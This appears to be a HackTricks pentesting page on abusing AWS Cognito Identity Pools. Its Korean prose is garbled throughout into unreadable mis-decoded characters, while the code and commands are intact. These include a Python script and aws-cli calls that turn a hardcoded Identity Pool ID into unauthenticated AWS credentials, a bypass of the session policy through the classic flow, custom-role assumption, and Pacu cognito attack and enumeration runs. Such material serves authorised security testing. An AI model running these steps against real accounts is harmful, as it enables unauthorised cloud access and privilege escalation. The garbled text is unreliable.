Cognito Identity Pools

Support HackTricks

Basic Information

์•„์ด๋ดํ‹ฐํ‹ฐ ํ’€์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์‹œ ์ž๊ฒฉ ์ฆ๋ช…์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์—ฌ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž๊ฒฉ ์ฆ๋ช…์€ Amazon S3 ๋ฐ DynamoDB๋ฅผ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ AWS ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ์•„์ด๋ดํ‹ฐํ‹ฐ ํ’€์˜ ์ฃผ๋ชฉํ•  ๋งŒํ•œ ๊ธฐ๋Šฅ์€ ์ต๋ช… ๊ฒŒ์ŠคํŠธ ์‚ฌ์šฉ์ž์™€ ์‚ฌ์šฉ์ž ์ธ์ฆ์„ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์•„์ด๋ดํ‹ฐํ‹ฐ ์ œ๊ณต์ž๋ฅผ ์ง€์›ํ•œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ง€์›๋˜๋Š” ์•„์ด๋ดํ‹ฐํ‹ฐ ์ œ๊ณต์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • Amazon Cognito ์‚ฌ์šฉ์ž ํ’€

  • Facebook, Google, Amazon์œผ๋กœ ๋กœ๊ทธ์ธ, Apple๋กœ ๋กœ๊ทธ์ธ๊ณผ ๊ฐ™์€ ์†Œ์…œ ๋กœ๊ทธ์ธ ์˜ต์…˜

  • OpenID Connect (OIDC) ์ค€์ˆ˜ ์ œ๊ณต์ž

  • SAML (Security Assertion Markup Language) ์•„์ด๋ดํ‹ฐํ‹ฐ ์ œ๊ณต์ž

  • ๊ฐœ๋ฐœ์ž ์ธ์ฆ ์•„์ด๋ดํ‹ฐํ‹ฐ

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool ์„ธ์…˜์„ ์ƒ์„ฑํ•˜๋ ค๋ฉด ๋จผ์ € Identity ID๋ฅผ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด Identity ID๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜ ์‹๋ณ„์ž์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์‹๋ณ„์ž๋Š” ์ตœ๋Œ€ 20๊ฐœ์˜ ๋ฐ์ดํ„ฐ ์„ธํŠธ๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ ๋ฐ์ดํ„ฐ ์„ธํŠธ๋Š” ์ตœ๋Œ€ 1MB์˜ ํ‚ค-๊ฐ’ ์Œ์„ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Š” ์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค (ํ•ญ์ƒ ๋™์ผํ•œ Identity ID๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‚ฌ์šฉ์ž).

๊ฒŒ๋‹ค๊ฐ€, ์„œ๋น„์Šค cognito-sync๋Š” ์ด ์ •๋ณด๋ฅผ ๊ด€๋ฆฌํ•˜๊ณ  ๋™๊ธฐํ™”ํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค (๋ฐ์ดํ„ฐ ์„ธํŠธ์—์„œ, ์ŠคํŠธ๋ฆผ ๋ฐ SNS ๋ฉ”์‹œ์ง€๋กœ ์ •๋ณด๋ฅผ ์ „์†กํ•˜๋Š” ๋“ฑ).

Tools for pentesting

  • Pacu, AWS ์ทจ์•ฝ์  ํƒ์ง€ ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์ด์ œ "cognito__enum" ๋ฐ "cognito__attack" ๋ชจ๋“ˆ์„ ํฌํ•จํ•˜์—ฌ ๊ณ„์ •์˜ ๋ชจ๋“  Cognito ์ž์‚ฐ์„ ์ž๋™์œผ๋กœ ์—ด๊ฑฐํ•˜๊ณ  ์•ฝํ•œ ๊ตฌ์„ฑ, ์ ‘๊ทผ ์ œ์–ด์— ์‚ฌ์šฉ๋˜๋Š” ์‚ฌ์šฉ์ž ์†์„ฑ ๋“ฑ์„ ํ”Œ๋ž˜๊ทธํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์ƒ์„ฑ(์—ฌ๊ธฐ์—๋Š” MFA ์ง€์› ํฌํ•จ) ๋ฐ ์ˆ˜์ • ๊ฐ€๋Šฅํ•œ ์‚ฌ์šฉ์ž ์ •์˜ ์†์„ฑ, ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ Identity Pool ์ž๊ฒฉ ์ฆ๋ช…, ID ํ† ํฐ์—์„œ ๊ฐ€์ • ๊ฐ€๋Šฅํ•œ ์—ญํ•  ๋“ฑ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•œ ๊ถŒํ•œ ์ƒ์Šน์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋“ˆ ๊ธฐ๋Šฅ์— ๋Œ€ํ•œ ์„ค๋ช…์€ ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ 2๋ถ€๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. ์„ค์น˜ ์ง€์นจ์€ ์ฃผ์š” Pacu ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.

Usage

์ฃผ์–ด์ง„ Identity Pool ๋ฐ ์‚ฌ์šฉ์ž ํ’€ ํด๋ผ์ด์–ธํŠธ์— ๋Œ€ํ•ด ์‚ฌ์šฉ์ž ์ƒ์„ฑ ๋ฐ ๋ชจ๋“  ๊ถŒํ•œ ์ƒ์Šน ๋ฒกํ„ฐ๋ฅผ ์‹œ๋„ํ•˜๋Š” ์ƒ˜ํ”Œ cognito__attack ์‚ฌ์šฉ๋ฒ•:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

์ƒ˜ํ”Œ cognito__enum ์‚ฌ์šฉ๋ฒ•์œผ๋กœ ํ˜„์žฌ AWS ๊ณ„์ •์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž ํ’€, ์‚ฌ์šฉ์ž ํ’€ ํด๋ผ์ด์–ธํŠธ, ์•„์ด๋ดํ‹ฐํ‹ฐ ํ’€, ์‚ฌ์šฉ์ž ๋“ฑ์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner๋Š” ์›์น˜ ์•Š๋Š” ๊ณ„์ • ์ƒ์„ฑ ๋ฐ ์•„์ด๋ดํ‹ฐํ‹ฐ ํ’€ ์ƒ์Šน์„ ํฌํ•จํ•˜์—ฌ Cognito์— ๋Œ€ํ•œ ๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ์„ ๊ตฌํ˜„ํ•˜๋Š” ํŒŒ์ด์ฌ CLI ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

์„ค์น˜

$ pip install cognito-scanner

์‚ฌ์šฉ๋ฒ•

$ cognito-scanner --help

๋” ๋งŽ์€ ์ •๋ณด๋Š” https://github.com/padok-team/cognito-scanner ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

IAM ์—ญํ•  ์ ‘๊ทผ

์ธ์ฆ๋˜์ง€ ์•Š์Œ

๊ณต๊ฒฉ์ž๊ฐ€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๋กœ์„œ Cognito ์•ฑ์—์„œ AWS ์ž๊ฒฉ ์ฆ๋ช…์„ ์–ป๊ธฐ ์œ„ํ•ด ์•Œ์•„์•ผ ํ•  ์œ ์ผํ•œ ๊ฒƒ์€ Identity Pool ID์ด๋ฉฐ, ์ด ID๋Š” ์›น/๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํ•˜๋“œ์ฝ”๋”ฉ๋˜์–ด ์žˆ์–ด์•ผ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ID๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ž…๋‹ˆ๋‹ค: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (๋ฌด์ž‘์œ„ ๋Œ€์ž… ๊ณต๊ฒฉ์ด ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค).

๊ธฐ๋ณธ์ ์œผ๋กœ IAM Cognito ์ธ์ฆ๋˜์ง€ ์•Š์€ ์—ญํ• ์€ Cognito_<Identity Pool name>Unauth_Role๋กœ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

ํ•˜๋“œ์ฝ”๋”ฉ๋œ Identity Pools ID๋ฅผ ์ฐพ๊ณ  ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ AWS ์ž๊ฒฉ ์ฆ๋ช…์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

๋˜๋Š” ๋‹ค์Œ aws cli ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

๊ธฐ๋ณธ์ ์œผ๋กœ ์ธ์ฆ๋˜์ง€ ์•Š์€ cognito ์‚ฌ์šฉ์ž๋Š” ์ •์ฑ…์„ ํ†ตํ•ด ํ• ๋‹น๋˜์—ˆ๋”๋ผ๋„ ์–ด๋–ค ๊ถŒํ•œ๋„ ๊ฐ€์งˆ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์„น์…˜์„ ํ™•์ธํ•˜์„ธ์š”.

ํ–ฅ์ƒ๋œ ์ธ์ฆ ํ๋ฆ„ vs ๊ธฐ๋ณธ ์ธ์ฆ ํ๋ฆ„

์ด์ „ ์„น์…˜์€ ๊ธฐ๋ณธ ํ–ฅ์ƒ๋œ ์ธ์ฆ ํ๋ฆ„์„ ๋”ฐ๋ž์Šต๋‹ˆ๋‹ค. ์ด ํ๋ฆ„์€ ์ƒ์„ฑ๋œ IAM ์—ญํ•  ์„ธ์…˜์— ์ œํ•œ์ ์ธ ์„ธ์…˜ ์ •์ฑ…์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •์ฑ…์€ ์„ธ์…˜์ด ์ด ๋ชฉ๋ก์˜ ์„œ๋น„์Šค๋งŒ ์‚ฌ์šฉํ•˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค (์—ญํ• ์ด ๋‹ค๋ฅธ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋”๋ผ๋„).

๊ทธ๋Ÿฌ๋‚˜ Identity pool์— "๊ธฐ๋ณธ (ํด๋ž˜์‹) ํ๋ฆ„"์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด, ์‚ฌ์šฉ์ž๋Š” ํ•ด๋‹น ํ๋ฆ„์„ ์‚ฌ์šฉํ•˜์—ฌ ์„ธ์…˜์„ ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ์„ธ์…˜์€ ์ œํ•œ์ ์ธ ์„ธ์…˜ ์ •์ฑ…์ด ์—†์Šต๋‹ˆ๋‹ค.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

์ด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด, ๊ธฐ๋ณธ ํ๋ฆ„์ด ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค (๊ธฐ๋ณธ๊ฐ’)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM ์ž๊ฒฉ ์ฆ๋ช…์ด ์žˆ๋Š” ๊ฒฝ์šฐ ์–ด๋–ค ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ธ์ฆ๋œ ์‚ฌ์šฉ์ž

์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋Š” ์•„๋งˆ๋„ ๋‹ค๋ฅธ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋  ๊ฒƒ์ด๋ฏ€๋กœ, ์•ฑ ๋‚ด์—์„œ ๊ฐ€์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ทธ๋ ‡๊ฒŒ ์‹œ๋„ํ•˜์—ฌ ์ƒˆ๋กœ์šด ์ž๊ฒฉ ์ฆ๋ช…์„ ์–ป์œผ์„ธ์š”.

Identity Pool์— ์ ‘๊ทผํ•˜๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋ฅผ ์œ„ํ•œ ์—ญํ• ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฅผ ์œ„ํ•ด ์•„์ด๋ดํ‹ฐํ‹ฐ ์ œ๊ณต์ž์— ์ ‘๊ทผํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๊ทธ๊ฒƒ์ด Cognito ์‚ฌ์šฉ์ž ํ’€์ด๋ผ๋ฉด, ๊ธฐ๋ณธ ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ ์ƒˆ ์‚ฌ์šฉ์ž๋ฅผ ์ง์ ‘ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.

IAM Cognito ์ธ์ฆ ์—ญํ• ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ Cognito_<Identity Pool name>Auth_Role๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

์–ด์จŒ๋“ , ๋‹ค์Œ ์˜ˆ์ œ๋Š” Identity Pool์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” Cognito ์‚ฌ์šฉ์ž ํ’€์— ์ด๋ฏธ ๋กœ๊ทธ์ธํ–ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค (๋‹ค๋ฅธ ์œ ํ˜•์˜ ์•„์ด๋ดํ‹ฐํ‹ฐ ์ œ๊ณต์ž๋„ ๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# ์ด์ „ ๋ช…๋ น ์‘๋‹ต์—์„œ identity_id ๊ฐ€์ ธ์˜ค๊ธฐ
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdToken์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ User Pool ๊ทธ๋ฃน์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์—ญํ• ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
# --custom-role-arn์„ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • ์—ญํ• ์— ๋Œ€ํ•œ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๋Š” ์•„์ด๋ดํ‹ฐํ‹ฐ ์ œ๊ณต์ž์— ๋”ฐ๋ผ ๋‹ค๋ฅธ IAM ์—ญํ• ์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ๋˜๋Š” ์‚ฌ์šฉ์ž์— ๋”ฐ๋ผ (ํด๋ ˆ์ž„์„ ์‚ฌ์šฉํ•˜์—ฌ) ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋™์ผํ•œ ๋˜๋Š” ๋‹ค๋ฅธ ์ œ๊ณต์ž๋ฅผ ํ†ตํ•ด ๋‹ค์–‘ํ•œ ์‚ฌ์šฉ์ž์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ IAM ์—ญํ• ์— ๋กœ๊ทธ์ธํ•˜๊ณ  ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์น˜๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HackTricks ์ง€์›ํ•˜๊ธฐ

Last updated